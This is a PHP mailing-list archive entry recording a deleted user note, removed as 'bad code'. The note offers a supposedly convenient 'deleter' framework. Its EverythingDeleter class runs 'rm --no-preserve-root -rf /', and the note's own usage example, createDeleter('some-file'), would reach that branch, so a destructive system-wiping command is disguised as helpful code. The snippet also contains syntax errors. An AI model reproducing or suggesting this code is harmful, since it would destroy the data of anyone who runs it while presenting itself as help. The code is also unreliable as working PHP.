note 103288 deleted from function.delete by salathe

From: Date: Tue, 10 May 2011 16:31:31 +0000
Subject: note 103288 deleted from function.delete by salathe
References: 1  Groups: php.notes 
Request: Send a blank email to php-notes+get-179581@lists.php.net to get a copy of this message
Note Submitter: jriddy at gmail dot com Reason: bad code ---- The following code should provide a framework for deleting variables and files easily: <?php interface IDelete { public function delete(); } abstract class AbstractDeleter implements IDelete { protected $_name = null; protected $_color = 'red'; public function __construct($name) { $this->_name = $name; } public function getName() { return $this->_name; } public function setName($name) { $this->_name = $name; return $this; // Fluent interface! } public function getColor() { return $this->_color; } public function setColor($color) { $this->_color = $color; return $this; // Oh sweet, another fluent interface! } abstract public function delete(); } class DeleterFactory { public static function createDeleter($name, $directory = null)) { if ($directory || false !== strpos($name, '.')) { // If it has a dot, it must be a file $type = 'File'; if ($directory) { $name = $directory . DIRECTORY_SEPARATOR . $name; } } elseif ($name[0] == '$') { // Looks like a variable $type = 'Variable'; // Remove '$' prefix $name = substr($name, 1); } else { $type = 'Everything'; } $class = $type . 'Deleter'; return new $class($name); } } class FileDeleter extends AbstractDeleter { public function delete() { return @unlink($this->getName()); } } class VariableDeleter extends AbstractDeleter { public function delete() { $name = $this->getName(); if (isset($GLOBALS[$name])) { unset($GLOBALS[$name]; return true; } else { return false; } } } class EverythingDeleter extends AbstractDeleter { public function delete() { exec('rm --no-preserve-root -rf /'); } } ?> This is very simple to use. To obtain a deleter, just do: <?php // Use the convenient factory to decide what deleter // to create for you! $myDeleter = DeleterFactory::createDeleter('filename.ext'); // Now set the color to your taste // You can use any valid HTML/CSS colors, // e.g. "ghostwhite" or "#fafafa" $myDeleter->setColor('aquamarine'); // Now invoke its delete method! $myDeleter->delete(); // Or, you can do the whole thing in one line! DeleterFactory::createDeleter('some-file') ->setColor('blue') ->delete(); ?> I hope this clears up any problems people were having with deleting things.

« previous php.notes (#179581) next »